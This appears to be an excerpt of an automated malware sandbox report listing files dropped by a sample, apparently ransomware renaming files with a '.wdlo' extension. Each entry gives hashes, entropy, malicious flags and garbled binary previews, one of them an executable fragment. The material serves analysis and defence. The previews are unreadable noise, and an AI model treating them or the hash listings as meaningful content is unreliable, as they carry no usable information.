Preview:	..T.icr..".:}...<.Nk.p..?.j.......A.<.}Iw....&JsS..B.A'..E..........D)i...$....um.&....m=..T.....}......'....`6h..S7.....ZX..c^A. ...hP.<............Q"...........\|xB.m.R.(........Xg.?..${...p.6[.>.D....6...#.{..&.\....w%.3...Zl.._......s...?..=..8v..$...n..S!..A;k.#......9F'c.9z~.79CV..&...L.qz..../k.NU4a.$.2..8...[.......s.yz..%.F...2..C.Z.X ....1.S...ptw.G.v.}..h.O...Z...I..&NH.+..TM.O}"...:..F..z@.cVC..".e...5.i.!_g....K(...S...1...(Xj.L..jt{G....6d......E.W$]SK%....l....;..{.......f.......!..?.y...$...l./ir......#...O.A...,.>......W.2G.U...m.Rg&{Jr.T...<........2....R.7{.9..p.AK..A........kk'o_..{J..."...}...z..dqA/.{-.r.eg........PnA.W\|=&....?'&..4.B..[...2.W.....Z..{.9..)..J[.X2..M.].a../......`]...l..*..T.=;% .x.......'..d...?............../J.....r..p...gp.f4}~.....~....RD.-.M .o..'>......6B......s....:.=.V.x.b.._Q.Ak'_.......Q.....9...B.D..1$f..9=.e\/.Ij.a^.[F...nF.H.Y.)w...r..W.~A5.}.S.z6..&u~F..".:h.._....pXP.......+ k..

C:\Users\user\Local Settings\Temp\DESKTOP-AGET0TR-20231004-1051.log.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	18522
Entropy (8bit):	7.990159630960498
Encrypted:	true
SSDEEP:	384:sIfgVAa2Z9Kk+qL+9MYICVtVOSBLtmLpknlKh5ve2qRETaNYNc:sIfrDL+9M6vBE+g5ve2qRjKu
MD5:	0A5771B5D19A5574A6ED9A4DD84C4D53
SHA1:	995DB66A413B6192F8B5AADAB1E1D2B463408434
SHA-256:	229A24AC1400A233A7A6655CFCC1B0FD8D34072CD8EF59E43CC4ED19E9EE0A4C
SHA-512:	2AD418C0C3A966D52AADBAFDC1C3836AECB049EEDAD1C898F83D9DBA0C236835A618F4E0B8DCDCEEE5F960A4091A50513864AE4F05263C8E40972C25038675BE
Malicious:	true
Preview:	..T.i.A')%....C..B....u....`2M..rF.....5.......F..J`.G....v....E... ....+.L.q...\|%8..~.OI..Qc6Z%.....^`...O1....6;..$..'.(so.$\|...c.=b.z..iO.s..H.x.......i..[..nY.......>.B..OD..Q..I<p......YL.^.gU.8..\...bN.@..Q..~.\....7...).....kPMA{F[.C[.h.....m.....{.S'...Ekr2b.,q..+.7..X....\..v..Q.\|.P!...".@...8..f....O.47....;...Q.P...?A.. .V....^5R.Rm.T...1.._..u...S'IPk.N!U...!\.z.O.N..Q..o:....lx...9B){Ot....._.if......f..D..1#.[8...bJ.&....:X..6;.B.b{7.."t.a.8}........&y.......%.)..f..`..Q.]..-.Z...%..~{..q?.?m...hY#Q....;C.. .......$...?...m6.2"....9.K..u.Q.l.......!#.3r.?...LV#h....z............G..x.v.K~.R.1v.......2G.n.k.Z.>.)....?&...1..>.\.U.....9G9...B.y..F..{..:.... 9.\|.0;D...Msh.E...7,.........eD......9..~....P...GW.TP.FY7..N..O.O.f.......U..3(]6.)...a......<..h.@...{..@>.2E....-....\|.[y.#..d.mEr.dZ..c...=)c.....NHp...U"..........c..V.........t*.....".........t%....d.vP..k...7....Je...p..?.h...D.L.C..,>....7?.....oF..h.0.I..y.....

C:\Users\user\Local Settings\Temp\DESKTOP-AGET0TR-20231004-1051a.log.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	96078
Entropy (8bit):	7.998070346177823
Encrypted:	true
SSDEEP:	1536:Kms24AS0Yf+pzXwJS87MWTSlLaKPTJCFbV9T/FrpcdsV1gU8JwoQikxt1shGzoOa:KmsfN+p7YSPixKEFbxV2my2ZikuIljSp
MD5:	B6B81D32684950630746A943A6D4AC24
SHA1:	1003D6D5A18DDB081494110686E487866FA2DCE5
SHA-256:	8673440000C008D426FAF6838CA9B17B7DEF4770F25C4DD9CCE6D75218B3BBC9
SHA-512:	5051C6E3F639A3A43821203FEEE16C4DB3A512F874FEF37028D0AE38CCBFDCCD5920CB27ABDACBAA3AE76A919D68610E6D0C84B7EFC29ECB4B96836028365296
Malicious:	true
Preview:	..T.i......H..f......\u.Pb.:k.X.]qx]MI.+AeG..~....%.0.....w%<E....;.~Ph4..2..#..p..h....;;.S..&.N....P..w...s..~y......v.1b...q.A-#.#].'.W.F....U..o. .s.E..H_...2F..!K..>\|.@.W.....]......(.[A.?..=.4.l.{hN^X.B..!....0....Ea.6/..K..0cx..r..h.<K;..Ia+....bN.8....}....<x..Z.S..x.....:.f..5.......).P...r./.>.U6._..z.`U..B.3Xl.Y..w..$;.M....9.U..Z~.e.;.......V....a....n...p.\|.}...Q....6..q...K.V...[.-..K.Y[.5$R...L....+...Ym....sbp...&.5@..}.v...>.\|3....F.g...^<.$.... h...l..4............{.t.=...?...D@V..W\|J..l......K.7..wb^...,'"..K.r......{.6$.y/r.)=..v....%.%v.Wmb....xG.lY.......gm.".\|.}ntW...%.a.q<\|..$....S&.1F..&.1..[O!W........kZ.t........$C3..Q9(.........b2rs.^b..J....Ai..e.i......-V..\|.."..vu0...}..:....0.....Ut.)7.O..Z.k...C.p~..y..}...E.y.V...5....@..#........J?...u..V..d...r..:.-..f.,H.......k...Fa._...2l...f.S.2..H.t\.n.(..oQ{;5.8.n..R..P...r...;.y.,.1...#2..$..d..;..7.....q.Jo.N.k6:..%=>#...BFzk..J......7.{ V.......W..1.....x.q.

C:\Users\user\Local Settings\Temp\DESKTOP-AGET0TR-20231004-1051b.log.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	318854
Entropy (8bit):	6.506474796058106
Encrypted:	false
SSDEEP:	6144:93cVUIO3EKOFkpaioL63axarao0XsGH96e2jyrEQ1xyJmc7cuVfuhyyyW+dkC:9MVUIn5dLi0XsGH96e2jyrEQ1xyUc7c2
MD5:	40D03E24834F6F939529C5A31BD4001B
SHA1:	D9957CEC331D9D6B0AD0C926EB995C24B9A56C19
SHA-256:	24314018D5A19485BCF4F2082A6C69C5E0329CEC3DADA436A80810D9321936C0
SHA-512:	23A35FC42CF7BEDA2E7E23CF704D8433A4F40DFB04E6E050B73B6447891662ACE159C5945F75F7CA3A7F410B0E19F9F2E81E0526CDFA3BCAA83EBB60778A2E4F
Malicious:	false
Preview:	..T.i1..0..=j.SiA.+qV.8...{`bR.....g0.\|(T..2.!.e!...i...@....S&.V...4..cG.."Y..k.F!n.......@`~`.....=X..B.......T.1....{..y.,.(lQ..I`.....m......t.&{........I...>.L.tu.....;{....n...C......`.JM.U.......&.`....'........li-n../.q....$...U..K..]J..%.......EFL'.@..Y.....;..FG...m.y....1.}.j..DS...u&..+..v.+...`..L..F...Z..Ru.7l.m.s.-...b..P/^..w.9...X1.+f...W.u9...........lY....R..y.\|...[...z..E.q..$L<HFp....!.t..a.~\..h+2/q.9.$2A..S.0......M.ni.QB.S...B.5.].{#.=Z...../.i.<...R..Z.S5.G..$X.2...'..Zl..}V..X..g....&~.o.h.+MS..),.6nC.Sv2Zs......._.W.....,R.._..........9p..F.D}._.b.n...WL.5J;.xO....R .RGd...s.w\|p;.!......B.+.v.Bn..h=.)..Tq1B.RB.A.'.P...Gq..\".C.h.6....v.JT..l...{......d..$q.}..H.S....r..U?6..>.]..O....\|.D..(...{.....w!..W?.IY....n.G....W....\..o!r..S.~.4U,.W...Pu...E..]....\..U.<g.?/.I.....PTz..2.%....=Y.P...z.bc...1umjy..).py.-....R..!$...!B..A.bVt^...#.O..;"/....'....87..=,C.s.>....R.....{s#.....!.3...i....C.3G0R..i.q...%?[

C:\Users\user\Local Settings\Temp\DESKTOP-AGET0TR-20231004-1051c.log.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	159516
Entropy (8bit):	7.968092591241297
Encrypted:	false
SSDEEP:	3072:+8J2GP3BvkjyIc5Xa01eOwoykVIn6YdVp/WAjVpvaAh8d9Mrv8/fJwmkkj6cLzD5:/Jd3Bvqc5KInLInvdVp/WCvxdrv8/RwS
MD5:	EBC9C2C04FD02516C5ED4E24026ADD5E
SHA1:	2DCFEAE8BB4C6447A64DB799CAF020DF715336F3
SHA-256:	2102D34BDE33BBEC09977FE951B7D984254D0FFF2BE5710EB7A13CBFB74B6184
SHA-512:	C4BF0BA524905368FB1B13ADE97FBBED29BDDE4201F90D7439DE913AB15B12D6AF7644728027F5EB7FF2D84E64038A33DD25E42B59D6B46080A5644D12A90BFA
Malicious:	false
Preview:	..T.i..o4........p.G>.. A.M.)x...f..mD7.8.......>P.G......\2.9.Y.[S.d...9'....A...K.l.{Q...H.....,.E...0.\n..U..^9.\|H....1>..........KN..7Jy.a.9h.9.kl...+..%[Ed...8C.B.....y...e....B....i.[.........~..\0$4.x..=.R........k....}......t.X/..h.Q.8.....p..F.`p..E.....R..S@.....s.../...Ne.A....S......Z)d_.T....HR....'...a.A.....<."..i...P<....+m@.. ......N.?.".%.uYd..w~.E..."...jt..5BhY...Z...z....-..}Aq*>.P...:71.L.(9......+.a5.......u.$v.#Bc.W.v..u....p...WE.P#.nA;.,.'Z`.t.....[U.!\...\...W....^';Lv~.............L._...HLe.(..._Sbp.".8...c.%.c..../..A.~.N......uSG...n.<)..](..Wk.E.T9^.M......@4nb..Y.6.]..\.ER..^..c..k".L..n.....>!H.(.......;.....~.._<K.B. .A&.ws.}uz.T....O..)tY......H...<#.{D..~.'..^.0@.m^....B.>..X...a..6...... .u....1...,B.N.~[....."#b..!9."..]...D.<L...HU<.F<....U..zgY.4:A'`.J_.{.}..."c....)J.......(..Q...z...].,..c......Z?...S.._.<;!W.sJ=e.%...~8....x.Uz...#f7iT...w.!..TI.x.)..$.<b...Q..69..J......-d..#Y..};...4.

C:\Users\user\Local Settings\Temp\DESKTOP-AGET0TR-20231004-1055.log.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	191166
Entropy (8bit):	7.602147733543672
Encrypted:	false
SSDEEP:	3072:mEC+IBAPxJdXuiCl6kxQ/BEg/Kj7CY4QOhYKUn+JSDe9biDfpIbjRtb6CuWDrmWw:mEC+lrql6kpj7CYYhYKW+JSa9bQfynb0
MD5:	9D3B853257A41BC7898A7B499394AB44
SHA1:	AA66CB0E72534DD07E125202AB32620B775E096D
SHA-256:	2A5E861C78885B23C058F59D1E11317BA9971293D37E834DC54C0E7641032B69
SHA-512:	3C2D7632FBF84E60F024D301C4B971C58C039B24E402CE3CADD8EF633B139FF73486B79C0A9DB604E8DC797597F8A21132267FAEB31F6FD6DD826C0BA2852BA1
Malicious:	false
Preview:	..T.i...."..i....=..a.G.G..c.O....)?....@.6u.\...W.I..ww...\X.+...)..5..%.A.-.B..%z..v..q...e..G....t..K...$.n.dy.^iR<.P..{......U.oP58......c...G...@v...@....j.....r7..?@.2....}./..5.I..2W.hq0j=Q..(F}S."......}Q.....W..(.w.nG.U.....O..V...3.s_hl6-n..a=...2B...q..b&...!{.J..8..-._..)MQ....4...>c..:...1A.9....c:c.W..]uRHIU.5g.p7..g...NWw......INc..cp..n(q.._P. ..O.b,.o..n.:.s.o?.c\|m.I..rp&@..d...i<....\|.7.N....Z.....d......EA^. .U.h.....O........\|.(.j].`a./....Ei.~}.v.y.T.=..+..5uJl..fh..s."<:&.g..s.T...u.,.Z.q....M....F.T7.S..nc.........~.P.V.q....d.f..2.....l(W.].Y...(...._...^.U..9x..:.....Yn.t.5..Rq....=...}..n..rJ./1h) ..J^..9C?.?..Z?...X...S.4...D.j..4.VZ..9W.bb?\.i..#.pj....\|.2...^1..7.dk.d...n...&K..].f.ns.r[w.g.}..NuK7..._.x.).9aG..6.X33XO.D...MS/H.bi.....dh<.^..Wq.q.}.z........4....`.u.#jXc\.~...65..?.......X#.2j.J...>...;/..T..7iJ.qF..r...u<.&o.=...b..h0ywkj..M...b...M..".":Q.W'....0.....gD..df6..w?R8`..84.z.v3p#\]L%...N..

C:\Users\user\Local Settings\Temp\DESKTOP-AGET0TR-20231004-1152.log.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	116052
Entropy (8bit):	7.998526443172831
Encrypted:	true
SSDEEP:	3072:KCkvG96SHoC9hDP4d0fYslb659FKb+avR/c7NNXxK:1N96eH9tqilb6rMC+R/c7NtxK
MD5:	AB59EFAD3AE33B1335D3CA5B75E321BA
SHA1:	576CA8A50ECF5B839212433281E7C563627D56FB
SHA-256:	09B80A3DB575804E114AF14CA4DC00BAA6FE0E0FE3F8CB7B5A3968AD125F478C
SHA-512:	39A7EE5A911B60D33378FE19658F4BE28A5BDA6825D817A4D995397FDCC8A8E8BC52D66DF6888FBA51A84D1C1BF6C80AAAEBE966A91213109381E96AB24F41B6
Malicious:	true
Preview:	..T.i^....q... .9.....w...=)X.3....A.CJ9.U.n.m..I0H..x........j.8A.l...j.Z...m}..../.O8.{.s.K.F.d..0X.~A.~..-,..a.T..I...)HU.,2.TF.A./T...........Vt.j=w...R.)..v ..J...}DSP.;.."N.......0.&H0.....^...4W...m.CT.b.Z......`...w...<..N..6`..m27....Zv..Y#.d.........L...oR.."..[(......x...m.g.$o....\.{,97....W.U7k..Q.j0}}..W....A........{.`.....M9..P..c,.....:g`.{&~U{..r.-..@.N.n..z.uew9.ug2..n..K....R.1\!...K...$....}y.........c....2+5.......:.9..z.....)...-\|Y.j...S=.c..H.=.bP.......v0Z.,......6<=.@..2AJ...........T.^..Y.....\|.B...6. f...........5'a!.]_..[.Q..#...O.).8........L...)....,.d.V...=0.....D....\/z.v.fk .....@E..5.........O-..}.......t...........$...C./.F..FM.~m......RJ.G..=.7.p.l.Umv......I.H.(.(.........P.\|.w....!.Po...?@O....j?.x..\|G.6.m>.....>y.V.&...C..,RaQs.<..4.<.`....w@.`F.{.T.T...7t..Qg,..>NV....8...'...r.....;u....14..t.c7..4..X....:Z...O=d..8.@..QX...S0(...{.E.1.....{...t.U2......rs..2.J.I.6....s.&l@\...

C:\Users\user\Local Settings\Temp\DESKTOP-AGET0TR-20231004-1152a.log.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	179274
Entropy (8bit):	7.762433044012294
Encrypted:	false
SSDEEP:	3072:RDQQ8eNSV70erAFr3bv4YZwGqNxqdHJiF8jdqsOzP2XcDC5m4FFzQ:R8JeURfdN4JiypzmeXX04s
MD5:	B5625B9E6CC54D8A22664C1D28A52D8A
SHA1:	BDB4661ACC0AB4D75BF61ED5773D25E11184FB3B
SHA-256:	D6E61A7BD6FB8F2DDD4CB4AB1704B5B2B2DAEBED5BAA3B01A29912F0AD584E6B
SHA-512:	493B965792893175F1255A6CC8B7727358FAD3805EB84DB92A0DB95822437B4FE8B2A163E187B4809D575E97AD3375FE5A5B7D5D015282DCF4CF5A9BC1A562E4
Malicious:	false
Preview:	..T.i..?Mz.$...#.qud....6..!......"3..l.....Q.q\|...B0...A1....t.VE....Z..C9.[.T{....4.....JG.<...s.eV...c.z...z...).f.sR..H....T.o5...Yq...A..r........xe....F...0.A...x.6g..o.k.......Ry.#....9.K.....9..Rva...3..F.+g.5.".?..H. EX.....'.s....#?..q.J..a.%+^....b.U.zU..r..a....E...d.w......z.}....#.EH.}.... ....(..\|..ZI.xXt.aI.....S...Y..x.9?..?.I..p..u&A....a+.X.r1.lj.l.........>P>..M......K.?t.=..P......d.`=....y-.l.1./...k...c<.!....7.S..YS6J.9..D...P../.^.NM.2..Z.KA...W...(W'..SUPZ...$...e.p.J.D.W....S.:.._6x..oG.....0MS...Iu.w..%Qv4.P...._s.......".....@..TF.Q..T%=.I.0(..P...T.2...._S..vy..(....k.W..&j..y_.R0t... ......6..... O..E]H.g.....s...!-...^..S.NNK;z....C.....?...x.-.7.a.#.RT.a.,.%..l .O.{..Y..A...%....}$...^...{.kI.\s.~...B.4.3..J....&DrQ(..N..H.@D.?OW....tQt.-%.,x@VL..k......M.I..(....>.....v...<].f.4.F....../..}.g.....\P....w.w/.......Z....G.zF9..&"Y..\|..G..t.J.L/h.....]....+.7S.>>yR.?_)..\V...`....0.-.Mj...=.3.;.)#.^m.x.k@d..

C:\Users\user\Local Settings\Temp\DESKTOP-AGET0TR-20231004-1152b.log.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	304858
Entropy (8bit):	6.593001516519027
Encrypted:	false
SSDEEP:	6144:PVcLz/yTfcdvPHNLhiEUX/U656v6sLR1DvmgOM5LuB/eCNmkhuggMWdHEODBQd6h:P2Lz/zpHO9kLR1DvmgOM5LuB/eCNmkhQ
MD5:	5C3E65DF8A1737D6164BEC1E18D083C9
SHA1:	FC54F09FE4CD496997FC8AEA7C2826063BEB60FF
SHA-256:	63F7AB4B1894FE261B2D2D3813836CDCEF212D0ED26564B2A50229F034E31042
SHA-512:	760FD894B8E4858051C2297B9A73574F7528FBDEC6436F7F0E38B55F67660C12DA2C90F408AA1656117A2D45F4DF72672A22CA8DBE5E7635BD999DB2B9136A2F
Malicious:	false
Preview:	..T.i.>...B`..S...9.....&..#..]...?....A.U..7..\|J.cy.)=.7~\.....(..L.$.\|f.}..sz>(....nt.J.....Aq.. C=.q;...{.........y&7.SNC.W2P.;.XlS.....V]...&.2.Z.y..!.f.[.W..>.v,n~.]...Vo...8&Q......g.F-v.k..T.3KI......B....#.5....b5..s..e..&..F#..[.C..H...eA...\|.6..y.(2jhY.....?..3....m.".r.\|.,..z.{.g..f...oF.o..N{......1....f.6..P...~....Di.U..Y2...1+....F.:.......~e..~8.K.T`.u....0.>.&.....-....Z..R..w..E,.T.M..G84.......x1x.VY...............+..+.v..B.{......P...O..y...@.._.....\...rZ.^V.D..Ze<7v6=.+}oG....ry..?.Z.K!......j.".t%Z.X.S..E.&. ..vHm.7..2.....4'.F..r.!/.2.R..g.o.+...wN.......@..Y.....a......+.$n...^..S d...a;l..LK.pyq#....mb.x..o<.-...v.,..h..g9V.-v'...U\|.).9.u..wU..@./....5.Iz...W.........;(: 7..:s...8B~..r.DD.7.7).{p.....X..y.5i.=?.k])L#.......Q..[.M..K..i...#.$..C$J...?.T..k$.5"q...~.X,....N......\.o...U/y....a@UtcC..^S...IuJ.v<.l..n.@..;...m........:.....f..G..b.TR~P........@..;+WJ.....9...`.k..r97./..F....<.n15!

C:\Users\user\Local Settings\Temp\DESKTOP-AGET0TR-20231004-1153.log.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	99080
Entropy (8bit):	7.998166728529791
Encrypted:	true
SSDEEP:	3072:fLgFOTgFqQAatYB8LKPKV4oOJ5JP2EDnAr5tMLj4eF6:fkFsNQ3tSoOJ39lj4eF6
MD5:	80411403A370A4A3525CBBA2CD2DD2A3
SHA1:	46C3BC268FD7019FF3548DD067D386D9328D2476
SHA-256:	361297CDC3AC423BBD3D48E421F42F02E42FED728B9C56A51BE267E9BD925719
SHA-512:	5B0A141FCE6748488A7CEF011AFCA4CF919B457BCA418966C1949DA0AD823AF02566A9780FB08C364BEC302B52B0CEEF619D89BCC1A9C7A944351D8915A35B25
Malicious:	true
Preview:	..T.i&....@......B.F...Yro..8.A.~.+\|.!..u6...l.O.....t....G.l...Y~..Y...n=..(4M..Qe..q.o.!8.....J..{_l..XQ.......j..........7U..J....$G....y..0<R...71R....c..$..y..P@.d..'^......aZ...%..46...J..k...?.C....7w.?.)2N3...s9h.....#\|n...:(..w.n....7...%.AP....O...e......A(.q..i1G\|"..nB..\|..,.vW~gb...{G...N..O...0G.:...q..z.}.-.Z.....e...0v@...i%m...Yv.0..^...#..mO....b.6.....J......4....)!..l.~...9....7.0.+.\|'.ol.vF.o+X.';.rbY`.i...!...."..>b............ywA6.\|=1lN..+..4o8.E..1..$...S...@Vu..5i!K.G.>.....P.f..-......{c.M5...c".M...N~./.adv.b.U3..?.,e.;...F...m...SF.Mt..=Sp.....].?....8i....!..z...^.<.....l.D...o.x..hFf.\g..1I.hX......+[Z...+3.V.Pe.}51.P@I...8.....@.1....L.2b..j.nY.-6d..h+.j4;>&..,..LD...D/...i.(....n\(.]......I..H~.....0...$A.. HJ.....$`+.}mO...Q...2..=.~6)...n..cE2.......A.>.@6.z....7.p.T.t.<.-q..}.n.(.'...."0.....A.g..W...Q[p................wJ.=.u..n..9n.C.H....k..I.6.m..%..bq0Em.y......z.W.'..6O......\|...;..{&G.3d.8.y.#5...g..

C:\Users\user\Local Settings\Temp\DESKTOP-AGET0TR-20231004-1157.log.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	102646
Entropy (8bit):	7.998061936335329
Encrypted:	true
SSDEEP:	3072:LV5gl5hqMv5Ws/1eStb/DU9cON6nMqVqlQV7:Z525lxtb/DYcONUYlQV7
MD5:	E8D139FCB809CBF52687537EB20EBBBE
SHA1:	F4532479D9BA4D03D9E58B17E39357E8AEC7AE6F
SHA-256:	AB687CA7578C71A3FF78E70AC36E230B4317F4A478AC829E462ED778FFC8AD32
SHA-512:	BAE86D8613380E945630B68D8B2E622ED841D823D015CFB02F5429E5C53AAD341B2A3A20E502FF69278C1EBFF7C3C274A2909DA85985647C7DEF6A920404D36B
Malicious:	true
Preview:	..T.i..&...Amj..Q.Z.U.....@}Q...'..{...#bGr..S."a.z..U..~.....D....X..l.n.=.R:.7B.....!....p7.jd.$...'.Y8...[..s..G.Ar....>..a.#.Z.F.....<'.b...9..w.OK.i.A....Dt.Q.p.<."\./....'<n1.s.\|.x.J....n...X.. ..3?.AH....R..Dg........X....L.......uQ...s.k.7..F...%.w.....f3.,.P....7..H..........<.H.^..$..:....=\|.E...N..........](.:.n7.a......DoS8..6.X!/..X.1.e.....0.u..UD....R........UK.y.........?+...........;.;...=[a.Nj..@.o1...ht.i{.I......=..dK..vS.U.....3...F..bo.X...2..5cfQ..k.).%o...te%..I.b......7W"p..p.......E....gC..]....+i.@....q....C^w....~.$k......@.u\#..5........s..b6xN..$..g`.]....z...+.+T.7.:z...n........e.Z. 'M....$.....@...&Xt....x.....z.\....f..#/\.R.=mVZM.j......j.e..b{.J...b..?23.@..G...Ec.....G#....z!..J>.+2.;.".V...Sp.E...(....e{Oh..@ri.,.H.E.a....y..+.a,.-.q.......XiI.T.v...G1:.A^.U}.'.x..a.f...Nx......=<..iH..L$....\.8*.m}...Q......$h._.^..8%V...@..5.P$..M..{..F.....Y!./zt.Blp...j.....?2HL.q.....q.w.+.`/.N.$..4

C:\Users\user\Local Settings\Temp\RranN.exe.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	MS-DOS executable
Category:	dropped
Size (bytes):	16206
Entropy (8bit):	7.989537536063885
Encrypted:	false
SSDEEP:	384:Jh7DgFnO6+DXoJJekz7s3duHPMZ66nuy9nb3r6R5zKSBC:JV+n+boJkgfPMZ/n7r6R5zKSQ
MD5:	AC2A9C38320609C1B42A9355FCF71C5A
SHA1:	D55F077E2EADCD4050DD1077C7A22925178AAD7F
SHA-256:	6E7FCA67ADA7413B0486D28EDED084CF17A370CDF3DF76FBD909C2073358C380
SHA-512:	9E36C4A7A94E37051A70193EAC80DE55E68F9E4DBF758A6C2974C904081DF8C930D8BA8C4AA514763B9DAF0FA4557CBF60158121B5CFBDA53688FBF8A5F013D2
Malicious:	true
Preview:	MZ....y...z....X..#.u...O..X;_...........rS.F...o....V.VV....+..Ka.+..r]....9.u..Zg....d..P..Z...E........YmxR.~..6.U.A/.$-....k=J......A.dz...f.h...+...~...x_.59...x+.8..SARX.M.i.....(n.j.U.fF.C...UN.o.V[...>-.\|.....$l,...Q.......#.{T8.A....M.Dg,......J..J....U..$.$.E.5/74...36......f...9.f...-.p..+..fJ....>gu?..@IA;.....E........D?.....7...yO.YX..f...].i.A.I....w....Zn...a.+8....N.w,.x..x.[...P.~.......%.O...?5\7z......l....A.&.o.l...AH....%(..g$..-'.~.#`.f..x.....p..h..@L........b{8.lS...s..;..]C...$.F.bDP..{.W..d......]e.2_$..A........!u....=..V.HS.p.Z.-.A....%.....t...q.M2]1.{.h....S..q...cH.&.F."Q...I.{.Y.do..p......buCo..;Xh ..'.o1.....yyZ.NN.p....&2....._.7..:...Wtz.jm....{5v..4ev..Fj..]....h..-..\....R...)...Y..!.Cp..^._........&.&..T..._b.3....E..<.R....H.....Mu......&>.a.4I....}M......d.X..[............]..gb.9......J..6...i..@....3.a"..w._.{..sD.m.i....z.}....{....~k....!D.QY..V6..M.m.0A.,..r.:....cD.o...oM#$..B\.m(.

C:\Users\user\Local Settings\Temp\acrobat_sbx\acroNGLLog.txt.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	24210
Entropy (8bit):	7.992336916822217
Encrypted:	true
SSDEEP:	384:vPCBF+y28zHT9SbCvV5gu9TmFEdIn41BHxoq8zOQI11n8s8/iA8Qu:v6BQy28rpA8X9qGV1VxoqDn1tOiAzu
MD5:	75441E56CBBD5FFD1761BE446D1319E2
SHA1:	695145DF1C6A704DA0D2D8D1EFBF755764534D36
SHA-256:	01E562E53B9B4B153DD1B3EE66ABCE882642528F8E1DCDAF58933F49AB9D77B7
SHA-512:	1B384D0AE5EFCD1940FD5C96E7E167607CEC28F80F8FFF7949F34BD520BDF898606290DA117BDBF1AE4AB74A8DE4C3C5AB29864F4471597E21DAB6EC5D6203BE
Malicious:	true
Preview:	03-10$...Fb.....B.i[Pa..V..:Fn...3..z.p....\.}.I......&/..ng.<...U.RS}S..0.=...t.4..Z.<..V.\[...c...9..C.a.BXs>..b.H8./.e[.[....aG.IM.iK.)#4..K..,D../`...pZ.M#...j......7...z.r......X}N..n.....D6MM.._._..D...c..d.........^z....k6.?.....T....{:......g..\|..h..zX.A...).2`....rQq"...e.H.<.c^.......W...d.t.^2.9.....1PZ~..k....EVZ68=b.....R...s......; ......}#..Dt....(.\&M_...O..U6..l}..C.m.#.T..$..~.].....mtAQ.7i...^S....L......x..."y?....37.M.5.trw.....:.S....pe..g.1x...o.p)...U....\|X.>.b.c....&1....\..m..-...e\D.B.^..H.....=S..Y.u..O.t..>.U9_..B,....X...,Xs.f^...\3..'..]J.V........by...@&%."\...`,..!...}K.Y......uy}.Q......g.O.5H.#.U..".o$Rm..6..y....\F.j....T.;..3.=U.T...{D....H&~..pE[...u...{:.Y....!{.........U9.%.`..7n...1..W..^#.....{.b.l?z..zKH.w..z.-...).....m..)Z...=.....~...#........d._R2....$.e.._,..xC._.;.i...[.z.......KpW.}<..t..0...J.mM...;....hVx.s..e.^..M.XBWK.Z.iXS.&G......B....>7.K.4\nB.z.......V^......"7.=y...f...

C:\Users\user\Local Settings\Temp\aria-debug-6292.log.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	804
Entropy (8bit):	7.735866425301571
Encrypted:	false
SSDEEP:	12:kvb/hVEPzo5fZNwD6Ux7M0hYI91+JogOzOwDoLFdFvTs/P+D36Wcii9a:ULhyo5Zs6MpN91EogOq2Ary+D3zbD
MD5:	C01C5083E8A0DE86CAB8290C1C7110F7
SHA1:	E6F090F319A8DE897934F71A461EF020C7D41451
SHA-256:	82F747FFBB250C9A1D9C10F02A55669C3C810329686FD75FC9002348F0C21790
SHA-512:	B86CBB00C599834E5C3540CB3F0D0E82CAAC54FB06A85F1FE952EA52B3953DD1A46E7BA46D962DC4F9D44C1825C8F6380C3E844B2E7E014635530B3B99D61CC8
Malicious:	false
Preview:	2023-am..r.Tm...0V92.1...g+.....m...._8.s..O.L.~.).........&.....S.1...S..@ ....s..\|[........M....B#].w"....h.Qt.x...u....&j........z",\.A...R.d>....;a~Y[........{.....0...,)..z.j}.v.....ny.:.<....\....-.M.}>...k1..!.qOdo..]..5#..z.E....Z...&...e.U.5Kb....^.\|..9.dH.".X..:.7O.k.t...f.d(\..IMI.sT.1?;.[.+....!...2.....A.....+CC.O...........DW"..9.!..2P.\|.....cLsT@:...SE..H....x..i.....}n).L.<.fZ....A.&........o;.!r<.P....1...T...MG.x...s....P...s..?L..[cG.....'..). .=O..<...p..4%..QB....d..3e&.p\|L~..+..?T....r..W....3s...?...zF....k..d..._..[..\|(.x)..!......?......DF.H.%a..w.^.......TV=5.pp..b.G.`..t..h- H 